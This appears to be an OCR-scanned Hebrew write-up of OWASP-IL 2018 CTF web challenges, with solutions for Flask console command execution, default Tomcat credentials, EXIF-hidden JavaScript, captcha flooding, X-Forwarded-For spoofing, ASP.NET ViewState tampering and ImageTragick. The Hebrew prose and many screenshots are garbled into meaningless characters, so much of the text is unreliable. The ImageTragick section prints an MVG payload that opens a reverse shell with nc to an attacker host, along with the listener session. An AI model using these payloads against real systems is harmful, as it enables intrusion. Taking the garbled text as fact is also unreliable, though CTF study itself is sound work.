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devDucks "anx

devDucks
200

URL: http://challenges.owaspil.ctf.today:8089/

Flag Submit

JNIX AM97 N Y IM'9 vyn Y YO P71 DNANKD D Man NI %En anRn Nt

)2 NXNIY NN 'Rt TN console 7w 710 L]0 IR AXIN ORI X' exception trace AXIN NANKA

<« C 00 ® Notsecure | challenges.owaspil.ctf today:80 * e 008G

botocore.exceptions.NoRegionError

NoRegionerror: You must specify a region.

File "/ usr/lacal/lib/ python2.7 /site-packages flask /app.py’, line 2309, in __call__

return self.wsgi_app(environ, start_response)

File */usr/local/lib/ python2.7/site-packages/flask/app.py”, line 2295, in wsgi_app
response = self.handle_exception(e)

File */usr /local/lib/ python2.7 /site-packages  flask/ app.py”, line J 741, in handle_exception
reraise(exc_type, exc_value, tb)

File */usr/local/lib/ python2.7 /site-packages,/flask/app.py", line 2292, in wsgi_app

response = self.full dispatch request()

File */usr/local/lib/ python2.7 /site-packages  flask /app.py’. line /875, in full_dispatch_request

rv = self.handle_user_exception(e)

File "/usr/lacal/lib/ python2.7/site-packages /flask /ap

",line 7718, in handle_user_exception
reraise(exc_type, exc_value, tb)

File */usr /local/lib/ python2.7/ site-packages/ flask / ap

. line 1813, in full_dispatch_request
rv = self.dispatch_request()

File */usr /local/lib/ python2.7 /site-packages, flask /app.py". line /795, in dispatch_request
return self.view functions[rule.endpoint](**req.view args)

File */app/index.py”, line 70, in aws_console
ec2 = boto3.client('ec2’)

19101 117 NNON [I7"'RN 7V N¥'NY

< C 0 @ Notsecure | challengesowaspilctftoday5089 # =008 E

botocore.exceptions.NoRegionError

NoRegionError: You must specify a region.

Traceback (m

File */usr/local /lib/python2.7 /site-packages/ flask /app.py", line 2308, in __call__
return self.wsgi_app(environ, start response)

[console ready]
B
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subprocess 21ITM"7 import nyvx12 .X7w 12721 D270 Nd>wn 72 flag.txt Dwa yalp D' DX NWO'N
D'¥ap 17'R1 D'RXYN] DNIX P AN (pwd, Is <) nimipe 2 ynin'? nn¥n Popen nTIMnn Nrval

211197 D'0INO

[console ready]

»»» import subprocess

»»>» subprocess.Popen(["pwd"],shell=Trus,stdout=subprocess.PIPE).communicate()
("fapp\n', None)

»»» subprocess.Popen(["1ls -1"],shell=True,stdout=subprocess.PIPE)}.communicate()
("total 8\n-r-xr-xr-x 1 root root 417 Aug 29 15:18 index.py\n-r-xr-xr-x 1 [#, HNone)
B

NN 727N NN 727731 cat NTIRON NIYYANA 11DIN2 UM .index.py YalZn ANNON app N'j?'N N
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OWASP University "anx

OWASP University
250

We got anonymous tip about a terrorist in OWASP University,

We're afraid she will try to attack in few days.

Please help us catch her!

We have her old student card and we know you will have the
information you need there, the problem is that she somehow changed
her security code...

Image size must be: 1597 x 1033

URL: http://challenges.owaspil.ctf.today:8099/

* OwaspCard.j...

Flag Submit

D'0197 IN'KN' 12 D'VIDNY 72 NU'O0NAMIRN ANK7 VITIVO 0'VD NIZVNYT D'DMX 1IN DT NANN2

XY '71|7] ANK? NN NINNN NX NI7vun% N01 DX .0ININ Ton2 om'pn

» Incorrect username, name or security code |

MIYNIN NAwNnn ,0ITIVO 0'VYD D'7YN NNY [N .security code-n NIN NNIX "Ny aTwun

.(steganography) nnxy NINN2 INOIN 72T DXN WONT NIOI7I NN NMINNA WANWN? nn'n

AN INT D 1N2an P 7"IN i npnyny 733 .gimp N1dINA N>V NIMNNY ANYN NNXp N T
X7 N 7y (OCR) MmN VORL 'IN'T? N*AI7IIDVA YNNWA INKA D 17 1Y ,NT 27w .0IMOo

.0'0DN YW NITYUN DIN DX

JITwn 721 SQL Injection yxa7 11071 0'0dN NITY DX JNY7 Nan 7y 'ya nunnwn

2270 R 11727 NjI security code NTWA YXIA DTN

Number | 123456 Expiry Date | 31/12/2018

student @

Username

Amy Kelly
Security Code

OWASP-IL{l_Love_Little_Bobby_Drop_Tables} :7aTn
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No Pain No Gain "anx

No pain no gain
250

https://www.youtube.com/watch?v=1Wh8RzcQZr4

URL: http://challenges.owaspil.ctf.today:8092/

Flag Submit

)2 NXNIN 'VVO LINLVI'R T I]'71|7 , JANIRN '-']'I"? 000 NXY

Home Classes Features Reviews Pricing  Contact

HE&NPOWER HAPPINESS

Bb ithe table win-win survival strategies to ensure proactive domination.

GET STRATED

EVERYTHING IS POSSIBLE WITH ME

0" X7 M7 nwa 'y ARRAYY DNaY7 07NN, Nvn T 27U 171000 DR NINT? Nan 7y

<« C' {t | ©® Notsecure challenges.owaspi\‘ctf.today:EOEE_.m

HTTP Status 404 — Not Found
7 Status Report

[[T=TETE (give_me_error

The arigin server did not find a current representation for the target resource or is not willing to disclose that one exists.

| [Apache Tomcat/7.0.90
[

ny> .7.0.90 noMaa Apache Tomcat NMwA NAITA D NIXKYY NI DTIND AYTINN 0VN'DY NITIN

22Th mawnl Nwn Y NI0YDIYAT? NITNYOXN '19'A n7NNN

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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./manager 2'm17 nwa7 nN7¥n ,Apache Tomcat 7w 77Thn N1Ma 1a'Ma? nwa? niniro 1oon 1NRY
71N 791 win'w "y 0NN NX 7717 Apache Tomcat 'MW "7p27 NMWOXN manager N''¥j7'79X

'XNO'0l YNNYn OV NIYXNKNA |]ainn

Sign in
et TAATIARG AL ek pil 2T modtay B0

site is not private

w7 INY 12 ,7TNN DN DNTAN NIYYARD DNTAM manager-n NUYRY79X D 1XXN ,NT Npna

tomcat-users.xml yaljpa nx¥n "'y 71897 NNO'ONI YNNWNN DY NN

$TOMCAT_HOME/conf/tomcat-users.xml (Original)

<tomcat-users>

<lh--
<role rolename="tomcat"/>
<role rolename="rolel"/>
<user username="tomcat" password="tomcat" Poles:"tomcat"/>|
<user username="both" password="tomcat"” roles="tomcat,role1l"/>
<user username="rolel" password="tomcat" roles="rolel"/>

==3

</tomcat-users>

NAN 2'M17 12p20 )21 1MW 2NN DIMNYORKR 2y 170N0N 7100 71897 NN7¥IN NiNANNN TNKY

7270 DX N TN M7 nw7a L /iAmTh3FlagAndYouCantFindMe

= C 0 @ Notsecure | challenges.owaspil.ctftoday:8092/iAmTh3FlagAndYouCantFindMe/

OWASP-IL {DOntF0rg3tT0Ch4ng3D3f4ulTP455w0rds!}
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Curriculum Vitea "anx

Challenge 32 Solves

Curriculum Vitea
250

| got client-side attack while i go to my CV landing page!
Can you catch the flag?

URL: http://challenges.owaspil.ctf.today:8091/

Flag Submit

DANKRD T 7W 1NN TI2 02 ,NNVARND 1P™ DR INRTZEINKRYT IO T¥D KINAT? XD ANKD NN

:N2N VDFON NX NIKY7 N1

<script>

eval (function (
toStrlng( a)}t;if (!
rle(c)l=klcl|le(c
[e]}] e=function (
RegExp ( te (c) +

replace( ,String)) {while (c--
; k=[function (e) {return
{r eturn };c=1l};while (c--)if (k[c])p=p.replace (new
0 ), klc]);return p} (

p,a,c,k,e,r) {e=function(c) {return
|
) ;
)

c.
)
r

1241

( ), 0, {}))
</script>

:getExif Nn'¥j7219n 7y 7ON011 Beatify n1tva INIX N9

function getExif () {
var a = document.getElementById ( ) ;
EXIF.getData (a, function() {

eval (atob (EXIF.getTag (this, ) .split ("") .reverse () .join ( )))

})

DY NN n7Y EXIF Metadata-2 wonni MNXNN 7'01190 NMiNN DX NR17 TIigne NIKYY? N1
NIYXNRY DRXINN DX YNl base64-> IMIX NWON 72w yTNN 1910 KN N NKT? .Model

.eval n'¥719n
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fTool szmn Number

Access Date/Time
eation Date/T

ime

Type Extension
ME Type
Byte Order

ownloads\exiftool-11.10>"exiftool(-k).exe"

11.10
profile. jpg
215 kB
2018:09:

2018:09: :59:504+03

JPEG

irg

image/jpeg
Little-endian (Intel

:00:04+03:

.\profile.jpg

00

189)

Model Name p«%‘/((A\\vad(kﬂlb
IWEDT2EDeww '<FD{1FDH\MXu\fDTPPDHLMH
)4BDTzITM8hDev
) } EDIYEDIXEDI1IC
iLLJSPQRISUH)'h 1JikkI9OTKIhCMuEmImIyRiOTPp
HKw4SYmYiIxISP9kCdoAjLhZiJiMnI90TKyhCMuEmIm SYlel
)GKwASYmYiIyISP9kiYoAjLhZi)ikjI90TK4gCMUEMImIy PpY
JFI3VmboU2YhxGc1InLwlDcp@1YbtGKmlWKtOyYoUGbph2d70X!
luﬂﬂijhS/b1XhtHVYnlGbph2d7l%anHa\k’U\“1X“ jFG
nbJV2cyFGcoUmOncyPh 0dmc1RXZytXKjh
Quality 10
Creator ‘duh'
Derived

Lu(mbvl)ab“)L\Vm(hxX

\1[h71110m1”0Tk\h
ASYHVIIH]\PQJVUUA‘lhth/]\YU“HTxd(k
¢ Xndmt!RX7thh04/pruYuVP’“U/U
NzgyZulmcON1bOSyY

ml(¢/11c\Uer<VY>LGLth1b”lbd15 NdmhCbhZ

Tool
From Document ID
Instance ID

Phwtushnp CC ?017 Macintosh
Derived From
Document ID
Instance ID
DCT Encode Version

)EZEM/BDQt/545$Z
xmp.1ii E79E2EA7BD9E744532

100

[PDIN NIWO1 [IWXKY 27w .09M70L 'K DTYXN 7V TNl Camera Model Name nTwa 01

12271 Beatify YnK .Base64 niyxnxa TTI/Mn Camera Model Name nTwn

function verify(a) {
if (a.charCodeAt (0x0) == && a.charCodeAt (0x1)
a.charCodeAt (0x && a.charCodeAt (0x4)
a.charCodeAt (0x && a.charCodeAt (0x7)
.charCodeAt (0 && a.charCodeAt (0xa)
.charCodeAt (0 && a.charCodeAt (0xd) (0534
charCodeAt (0xf) && a.charCodeAt (0x10) (
a.charCodeAt (0x12) && a.charCodeAt (0x13 && a.charCodeA
&& a.charCodeAt (0x15)

&& a.charCodeAt (0x16) &&
a.charCodeAt (0x17) && a.charCodeAt (0x18) && a.charCodeAt (0x19)
console.log (

+ a)
} else {
console.log (

&& a.charCodeAt
&& a.charCodeAt
&& a.charCodeAt
&& a.cha deA
&& a.charCodeA
&& a.charCodeAt

(0
(0
(0
AL (
t(

}

DANY? 71 xw1 LASCII "1IM7 7TON '97 N2 D'UINN DX DYWL a NTNNNN 7V np' T2 NYIY N'X219n0

*2Th NR 72711 vorVY ASCII-n NN

OWASP-IL{J4v4Scr1ptNinj4!}
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Break the Captcha Nanx

Break The Captcha
250

My website is protected with Captcha so you cant flood my forms!
Do you think that you can bypass it with code and flood my form?

URL: http://challenges.owaspil.ctf.today:8088/

Flag Submit

MY 30-2 captcha Manx 15 MN97 0'WATI 1IXK DT MANK2

Your mission is solving 15 captcha’s in 3@ seconds! can you do

INIX N7w captcha-n NX NO'W X |NN'S V9RO 2IMD7 NYATI MANKN DX INSY7 Nan v

ANXT7 DTN

from PIL import Image
import re

import requests
import pytesseract

():
text = pytesseract.image to string(Image.open('a.png'))
return text.strip ()

() :

response = requests.get (captcha url, cookies=cookies)

if response.status code == 200:
with open ( , 'wb') as f:
f.write (response.content)

url = 'http:

captcha url =

cookies = dict (PHPSESSID= )
headers = {'content-type': application/x-www-form-urlencoded'}

while True:

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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get image ()
code = get captcha ()

response requests.post (url, cookies=cookies,
data="captcha={0}&submit=".format (code), headers=headers)
if "Oh snap! you are wrong!" in response.text:
print "[-] Bad captcha!"
elif "Correct!" in response.text:
print " [+] orrect!"
else:
flag = re.search (" LH?) response.text) .group (1)
print "[*] FLAG: OWASP O}}}".format (flagqg)

raw input (" [*]
:09"MPoN 7Y 120N
NNIX NNNIYI MNRNN NINNN DX XYINY T requests 71N NUNNWN get_image n'Xj711on
-1 (himn oy nTIA? N ¥ n72an) PIL 0'71Tna hwnnwn get_captcha n'¥j7190 .Nmipn

.(NMImMn 1M2 VoL NXZ7 wnwnin OCR ooian '70) pytesseract

D'¥NI7 WWKRD NN7YWIY POST-N NY{zad DNAVIN DNVNID 17'R NIKN? N 7Y Burp Suite NNoa

:submit-1 captcha :pn D"LVNION D NIKTT N .submit

0OST / HITP/L1.1

: challenges.owaspil.ctf. today: 8088

oo mw

ontent-Length: 21
ache-Control: max-age=0

Origin: http://challenges.owaspil.ctf.today: 8088

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4) AppleVebKit/537.36 (KHTML, like Gecko) Chrome/EB.0.3440.106 Safari/537.36
Accept: text/html,application/xhtmlixml,application/xml;q=0.5,image/webp,inage/apng,*/*;q=0.8

Peferer: http://challenges.owaspil.ctf.today: 8088/

Accept-Encoding: gzip, deflate

pt-Language: en-US,en;q=0.5
ie: PHPSESSID= ; debug=no
Connection: close

captcha=dekzdisubnit=

NX¥IN NX? .1N7W cookie-7 9O0I1A DTIZ 11MDTNAY DVNI9N DY AWTN POST Nwjpa 1IN ,Nyd
22j71 vOIZON

Correct!

] Bad captcha!
Bad captcha!
Bad captcha!
Correct!

Bad captcha!
Correct!
Correct!

Bad captcha!
Bad captcha!
Correct!
Correct!

Bad captcha!
Correct!
Correct!
Correct!
Correct!
Correct!
Correct!
FLAG: OWASP-IL{YouAreTheCaptchaMaster!}
Done!f]

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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Around the world "anx

Flag

Can you do that ? (XFF is approved)

Around the world
300

Hi you! Do you think that you traveled the world? Your mission is to
enter to our site with IP that belongs to country that we request you

URL: http://challenges.owaspil.ctf.today:8094/

Submit

V¥ .NIYN NAIYN DIY'DIMN NIMn 16 9w IP namdn NY? Nwa? nYUpann N7 Janxa

NN 0790 NXR 1727 NaIWNA http://challenges.owaspil.ctf.today:8094 'wxIN 917 NWja

= (@ | ® Notsecure

challenges.owaspil.ctf today:5094

In order to get the flag you must to serve from Argentinal Counter: 0116

ZD'D'7|7|'\ "INKN MANKRN TAW TX'D NI 210 |':m‘7 122 Burp Suite 201 nunnwn

Go | Cancel | <|¥ 5w

Request

|Raw Params | Headers | Hex

Response

Raw I Headers | Hex

GET / HTTF/1.1

Host: challenges.ovaspil.ctf.today:B054

Pragma: no=-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win£4; xé&4
AppleWebKit/537.3€ (KHTHL, like Gecko) Chrome/£8.0.3440.10€
Satari/537.36

[Accept

text/html, application/xhtml4xml, application/xml:q=0.5, image/vebp
, image/apng, */ *;q=0.8

[Accept=Encoding: gzip, deflate

hccept-Language: en-US,en:q=0.%9

Cookie: debug=yes;

-ASPXAUTH=33777CF7AB3AEDSESSDOFD ILDBCSEETSZCSCTCDABIBETIESEBTEELSD
2FO32EFAB4L3BELECDBSSSSTFELIFCEBEASSTAEAIESEZAZZTFEZZEAIFED3I T3 A8
SESE30SAFEFS3ECI8D3ELIBCIODIDLISTTOBEIIFIECSDACDIFFEIFIEDTECLIDLITSA
CELECFEBEZFASS3IEDTT0LECADBEDALBTCSI7SBSAFED3I4AE3 1354ES03EF3CSETED
3AEEESADSE; isAdmin=yes;

session=eyd3b3VudCIEMCWITIS 1bnRyeSTEeyIgTiTET1IFVSTOLEXD . DRgI3Q.
yHLLggi AJ4TaLmDSyEGyMItLxY

Connection: close

T

HTTP/L1.1 200 OK

Serwver: gunicorn/l19.9.0

Date: Thu, 13 Sep 2018 07:4&:40 GMT
Connection: close

Content-Type: text/html: charset=ucf-g8
Content=Length: 97

Vary: Cookie

In order to get the flag you must to serve from Argentina

{You served from Israel)| Counter: D16

'8 NIDIYW WU'd MWD NMIYXRIN DYl ,XNAIT7) Nwpiann n1rTann Mw? nne? mma

.N1'0IAR 7Y Proxy IP oy Tn' "X-Forwarded-For" Anidn nNX 19010 (N1'V1ARN

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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wnnwnn 7w IP-n NN in DX NINT? "D N7aIn 0w X' nwpa? (XFF) 7"1n anin nooin

:NINQN NYWRAN DX DN7W  HTTP PROXY NIy¥NXd N7 "annny

Request

———
I Raw | Params | Headers | Hex

Response

Raw | Headers K|

GET / HTTPF/S1.1
Host: challenges.ovaspil.ctf.today:8084
Fragma: no=-cache

Cache-Control: no-cache

Upgrade-Insecure-Requescs: L

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4
AppleWebKic/537.36 (KHTML, like Gecko) Chrome/€8.0.3440.10€
Safari/537.3€

Ascept:

texe/heml, applicarion/xhemlseml, applicat ion/wml: q=0.0, image/ vebp
, image/apng, */ *rq=0.8

Accepr-Encoding: gzip, deflate

Accept=Language:
X=Forwarded=-For:
Cookie: debug=
< ASPXAUTH=2
ZFO3IZEFAB4l
SESE30DSAFEFB3IE

en=U5,en; q=0.9
1BE.€4.71. 65

AB3 AEOSEGSDOFDLIDBCSEETSZCOCTCR4BIBETI E98
LBCDBSSS97FEL3IFCBBE4ASST ESEZAIZITFEZZEAIFEL a
BEZZF3ECSDACDIFFEZF3EDTBCLIDLTSA
Z75BSAFED34A€3 LIS4ESDOIEFICSETED

JAEDOBADIE:

imAdminmyes;
session=eylib3IVudC T EMCWiT20 lbnPyeSIEey IgTiTETIFVSTOAEXD . Dngl3c.
YN1lggd AJATaLmOSyEGyMTELyY

Conneccion: close

LA

HTTP/L1.1 200 OK

Server: gunicorn/1%.95.0

Dace: Thu, 13 JSep 2010 07:53:15% GHT
Connection: close

Concent—Type:
Content-Length: SB

Vary: Cookie

Set-Coockie: ssasion=eydibIVudCIENSwiTislbnRyeSIeeylgTile]

texc/heml: charser=ucf-8

In srder to get the flag vou must to serve from Albania

{¥ou served from Argentina)| Counter: 1\16

NIXTT? AWOX D D .1-7 YO NmMnl NI'VIANA NYANY AR PR Dwn D Nn7ap nalwnal
| |

NYURIANN NM'TNNN NARAN nYpan v qQI'Ta NYTNN Ny wnnwl .wTn SESSION COOKIE Nxiv

YpRIand NivTn 16-n NiMo y¥a7? 7'wni oI (Albania)

NINAN NI7IYON NIX Y¥AN TWUN NN TIZN DX 112ND N'UNIVIX NIX] NIA9N 2 Nx y¥a7 nn 7y

https://www.worldatlas.com/aatlas/ctycodes.htm anxXnn ni*Tan nn'wa N m™im- .1

Session Cookie-1 N1*Tn 7w DW NaIWN2 72701 NMWN 7R N9
NITAN NN'WI NITYA (IX'P2 NNIR NRNONN NIFIX 'NY) D7 TIEn 1NN 117N 1Ay Uonn

n'm Tipgn Dy nirsoft 7w NN N1 727 0U'™IN IP NIAM) NR'Yn Y n'Xj721191 ynnwun

niyxinn IP-n niamdn nnX oy wTn XFF AN X

wTNN XFF ANt n72pw Session Cookie-n DV nWTN nWpa XY

#!/usr/bin/python
import re

import requests
import urllib3
urllib3.disable warnings (urllib3.exceptions.InsecureRequestWarning)

def (country name) :
code = re.search(r'{0}\s([A
country codes) .group (1) .lower ()
new url =
resgonse = requests.get (new_url,

new ip = re.findall(r' (?2:[0-9]({1, 3

> w

TN 27wa IRYNY

Y'Y NYpan NX N71IY

© N o

221N NP7 TV 7 TV 2 D1%W TN

-2] [A-2])"'.format (country name),

. format (code)

verify=False)
.)

[0-9]1{1,3}'", response.text) [2]

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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https://www.worldatlas.com/aatlas/ctycodes.htm

return new ip

country codes = open (
url = 'http: challenges
headers = {}

session = requests.session ()
response = session.get (url)

for i in xrange(1l7):
country name = str (response.content) .split ( ) [1].split( ) [0] .strip ()
new ip = get next ip(country name)

print .format (country name, new ip)
headers['X-Fc led-For'] = new ip

response = session.get (url, headers=headers)
if in response.text:
print .format (response. text)

12T DX 72 TIpn NN NKY

:~# ./AroundTheWorld. py
country Argentina i ). 0
country Albania ip

country Australia i

country Portugal ip !

country Japan ip 1.0.64.

country United States ip

country Brazil ip 1

country Austria ip 5.198

country Ukraine ip 5.58.

country Norway ip 5. l(l(: 176.0
country Sweden ip 2.248.0.0
country Lithuania ip

country Bulgaria

country France ip

country r1alayqla

country §

country Phlhpplne: ip 27.108.0.8
OWASP-IL{WhORuNTh3World?}

IMedium NN DNANKN DX NINDY W1 NwD ,Easy NNNA DNANKND 72 NN INO AT 2% TV

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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Technologic

LazyAdmin Manx

LazyAdmin
350

Do you think that you can login with administrator privileges in order to
retrieve the flag?:)

user:password

URL: http://challenges.owaspil.ctf.today:8084/

Flag Submit

N7 YNt ANk Non  NIRWAN qpunl ASP.NET-2 ViewState Tampering-2 701V 0T NANN
11'2u1 720 Wnnwn 7w XNo'ol wnnwn 0w 11727 1aNK7? N0'n Dy .NDWAN 701 W NINWANN

270 DR 72R'7 Nan 7y NoYnn 7nan 7w NIKWAN DY 1ANNnT T RIXnY

NN2ANNN T 0721 1ANK7 0'0101WD

Login Page X
&« [CIEr @ & challenges.owaspil ctftoday:8084/Login.aspx e @ 2 Q search

Login

Username

Password

;NN NMUIYNN DX N'TAN MANKD N7'NNA 117 IN1Y XNO'ONI WNNwNn DY 7Y nypn

Admin page X

<« ¢ o (@ challenges.owaspil.ctf.today:8084/Default.aspx

Only administrators can see the flag!

-N"MA7100] WIN'Y NYYI NNWN T2 i ,aspx NNI'cd 0'N''"NOoN NYYN 7V D'9TNW NIXTY N1

ASP.NET

(https://portswigger.net/burp) vIT'n Burp Suite *722 1TVl ,pwnna NIYEan DX JIPNY7 Nan 7y

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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https://portswigger.net/burp

Technologic

NN Y '701 WNnNWwl X .71ITA7 D'YURaN X INIR DNWN 27 nxEn DTy 12 Proxy-d wnwn ot '

MWD Y7 NINYYWIN NIYPAN DX NIRY

POST /Login. aspx HTITP/1.1

Host: challenges ovaspil ctf today:B8084

User~Agent: Mozilla/5.0 (Vindows NT 10.0; Vinéd, x€4. xv:€1.0) GCecko/T0100101 Firetox/€1.0
Accept: text/html application/xhenléxnl applicacion/xul . q=0.9,%/%,q=0.8
Accept-Language: en-US_ en.q=0.5

Accept-Encoding: gzip, deflate

Referer: http://challenges. ovwaspil.ctf today:6084/Login, aspx
Content~Type: application/x-www-form-urlencoded

Content-Length: 313

Connection: close

Upgrade-Insecure-Requests: 1

__VIEVSTATE=\ZFvEPDVURLTMsNDEOCDAIMuRk Y 2B ARV SF s 0Z02KPEUNSEQLs PO TpucuVsYIDPuleLTvwt D4 VIZWSTATEGENERATORCIERSABBL
__EVENTVALIDATION=AZFwEAAAQKL

Y TBAVDESThidb W TQRILAY CB I WNIh ) E LT LTASVILIWEOA ST lgnnl SOLAI RNy Tedn B4 0 AAneHEY S 4 PnsUbEGLNA

JZb1IZRs IFB8S0ThAGScVeGEFYUbJvIup dVTxw3DUoY IDLAusernane*useripassvord=passvord

DY Dy TN POST-n NYpaa N7wi TWNR ViewState-1un197 17 0'wil nNYWIY nwpan 7y v

.XNo'onl ynnwnn

|'2 M1 viewState-2 yTMn .PHP Ndw21 session-7 NnIT [91X2 ,0"1IN] MNWY TWONN ViewState-n
Ti7 7V 01 .NYRA D2 NYYIN input NTWA viewState-n NNW T QY 917 DNTIND NIRMEN
7V qon vann .ANY NY7 NNRYS N7 X77 ,7271Yn ViewState-n 7w nTUNY R QTN 7Y Inn

O¥IM K71 TTIiZNn NTUN DIN D IR¥N NTYUN

2N IWENN TN [N WK ViewStateHacker n1dIna wnnwint nu'7nn 37

http://www.woanware.co.uk/application/viewstatehacker.html

[55) ViewStateHacker — O X
File  Help
= = | URL Decode @
General View State  Encoded Basefd
Tree  Raw XML

<System.Wek .Ul . Pair> -~
<System.Web . UI_ Pair>
<5ystem. String xml:space="preserve">-733473150=</5ystem.String>
“<5ystem.Wek UL Pajir>
<System.Collections. BArrayList>
<System.Wek .UIl.IndexedString=ishdmin
</System._Web . UI.IndexedString>
<System.Boolean>False</System.Boolean>
</8ystem.Collections.ArrayList>
“Hull>=True</Hull>
</System.Web UL Pairx
</System.Wek.UI.Pair>
<Null>True</Hull:=>
</System.Web UI Pair>

</ViewStateDeserialized> v
< FTieuSraras

MALC: None ASP.Net 2X

NN A'UN7 Nin 2V true-7 IMIX 19507 N 17w XaN A7wn TR false-d 1T isAdmin -w NIXYY N1

a1

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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http://www.woanware.co.uk/application/viewstatehacker.html

Technologic

Input-Nn NTWA TN 7w pmn T ViewState -n X Np*2 isAdmin 10N9N DX NNRWY? nan v

:General-n Nn1IWY7Y IMIX 01011

=Z] ViewStateHacker

- | X
File Help

= = | URL Decode &

General \few State Encoded Base64

/WEPDWUELTczM=zQ30TEIMASWAh4HaXNBZGlpbmhkZEXTt X AvuloDn3P1ZTHz4CHE88xTvP5vSYw/UG
TntXoXJ

-0 N9 2y YN71 PN WNK7I True-7 False 1winn isAdmin nTwn DIN DX NIwal Decode-7y yn'?al

2 AW Nn Encode

» =Z| ViewStateHacker - O X

a¢  File Help

URL Decode ©

General View State Encoded Base64

/WEPDWUEKLTczMzQ30TELMASWAh4HaXNBZGlpbmdkZA:

MR T T OiSy HRAU Eila

ST L
ViewState-n NN NNWY7I ,NANK 1727w D'0I9N DY INXR7 AW 1ANNNY KIN DIWYY 117 IRWIY 7D

2T N i

File Edit View History Bookmarks Tools Help

Admin page

&« c @ ® challenges.owaspil.ctf.today:8084/Default.aspx
JWEPDWUKLT czMzQ30T
CANBO334

OWASP-IL {N3v3rUs3W1thV13wstdt3!}
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Technologic

Image Converter NMANNX

Image converter
350

My magical tool can help you to convert pictures to PNG!

URL: http://challenges.owaspil.ctf.today:8090/

Flag Submit

anxY? .GIF ,WEBP ,MVG ,JPG :D'XaN D'UNISNN TNXQ NAINN Y2l NI7Vn% 117 "WONNn DT 1ANN

:PNG-7 U190 ¢ NINN YX' NN'WA L, D'RNAN VNI YAIZN NX7VN

Image converter

Convert any image you want to PNG! what a magic..

Choose File | N0 file chosen

Allowed extensions: JPG, WEBE MVG, GIF

D |'1|"|'7 17 Ty TWR MVG unlioa T7NN1 ,Nlinnn NX7UNY7 D'YOKRN D'UNISN nmwyo NX7?

W T¥2 MINNN DYNA )'70N IR VY'Y D2 imagemagick N'™M902 win'y nwy)

NIYA5n DI0N9 - 2016 MW7 NI AN'TNA N'MI907 OM"Pn NNLVANRN MIPY 7¢ NXpP N'jo
VNI NINNY? NPT MY MWD TX 7V TIR YN? QpIN? NWoKn WWR “ImageTragick” nx17n

MVG n yalp [pin ./https://imagetragick.com-7 N97 N2 Nwasn NITIN D'9011 D'0197 .MVG

2 R N

graphic-context
vi : 0 0 640 480
fill 'url (https://example.com/image.jpg" |mknod /tmp/pipez p;/bin/sh

0</tmp/pipez|nc [HOST] [PORT] 1>/tmp/pipez;rm -rf "/tmp/pipez)'
graphic-context

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
www.DigitalWhisper.co.il
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https://imagetragick.com/

NN 11'78 7' NLV™MYA DYWL NNYPNN YYA NANKD DY 207 DINN DY Yalpn DN nya

YN 7V NN NI Yy NNWOXN

:nc -lvp 1337 N7 NIy¥NXA 1337 0II97 NITRN X' ,NNMYNN NN INT

eran@ubuntu:~S$ nc -lvp 1337
Listening on [0.8.0.0] (family 8, port 1337)

DANKN MW Exploit-n R 7'onn MVG-n Yalp DX NI7Vn? N1 NIwy? naw 7 nyd

Jtmp/pipez p;/bin/sh Oc/tmp/pipezinc|[D. tcp.ngrok io l81s.

Image converter

ciose e 2]

2270 NIN'XNI WA NITIRO DX MY ANKD MY 7V o

eran@ubuntu:~S$ nc -lvp 1337

Listening on [0.0.0.0] (family 0, port 1337)
Connection from localhost 39592 received!
Ls

app.py

requirements. txt

templates

whoami

owasp

cd /

Ls

X270 DR 7'On T Yalp

cat fflag.txt

OWASP-IL{Im4aq3Tr4alck}

OWASP-IL 20187w-CTF N MAaNKN [INNDO
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Technologic

The Bug "anx

TheBug
350

| have a bug in my app that will give away the flag,
| hope you won't find it \
What you are waiting for go away and find it...

URL: http://challenges.owaspil.ctf.today:8083/

Flag Submit

;790 ,217'N :1210) NI'UNNMIXK NIZIYD 190N Y¥A7 MYWONNAN [IAWNN NY¥R79XR 1727 NT AaNK2

:(onian

- C 0 © Mot secure | challenges.owaspil.ctf today 50 Q& M e ® Ok & w

v yTn 70Ny ARIY 117 TNNT DWN XYY 0MA7 1998 2'0yn? [N ANKRD IR NINNPN
- N'0'0Q N7 NXAY Y¥A7 107NN N0 190N INKY? .72TN NX DA NN |21 DWNN W 1IN

:console-2 72aTn NX 117217 DA .0-2 npI7n

« C 00 | @ Notsecure | ehallenges owaspil.cti today g Qfr A o ] Ok & w

Mlask/app.py", line 2295,

n wsgl_app

File " ase local b/ p lask app.py”, line 1718, in handle_user_exception
reraiselaxc_type, @

app.py" line 1813, in full_d1spatch_request

9, in dispatch_request

degs.genlcal.
L1 - -ovissp-guas ek _grroes Graen_agatnt |
return render_tesplate( index.htal”, resultsevaluate(c) if ¢ is not Mone else =)

if _nase_ «s '_sain_"

t='0.0.0.0°, pOrt-8083, GebugeTrue, theeadedsTrue)

File " /app/ndex.py, line 187, in evaluate

OWASP-IL 20187w-CTF 0 MAaNKN [INNDO
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Technologic

The Code NaANKX

TheCode
400

| can't believe | forgot the username and password!
| have piece of the code maybe you can help me hack my own website?

URL: http://challenges.owaspil.ctf.today:8082/

Flag Submit

VI X7 ynnunn 7w 077 NPT Nntpnn 0T TR Yora PHP Nowa TIg Yo 1727 NT 1ANKA

TTIpPN Yo 707 .n0wn? NN

require once ('confic
function check param(
return (isset(

}

if (check param('username') && strcmp (
check param('md5') && strcmp (
['connected
header ('Locat
exit();

NUYZI9]) YIN'Y NIYNAX] N'WYIN 07PN D' T2 DR 9IpY7 0¥ ,JANKD DX INS7 nin 2y
NTN2a 0-7 NIY Y N'TNAL NITANNA MY 2 ARIWA NwXan stremp NUYAI9 .PHP nowa stremp
AT7.1T DY NITnNAni

,(http://php.net/manual/en/function.strcmp.php:xan 1*72 A'¥2190 72¥ DanNa XNP? N1)

NTNNNN 2 NRXRNN W'Y 11N 0 YN DR RN RN XNATN ,N'¥7119] wINn'y'? NnaIT |'7n'7

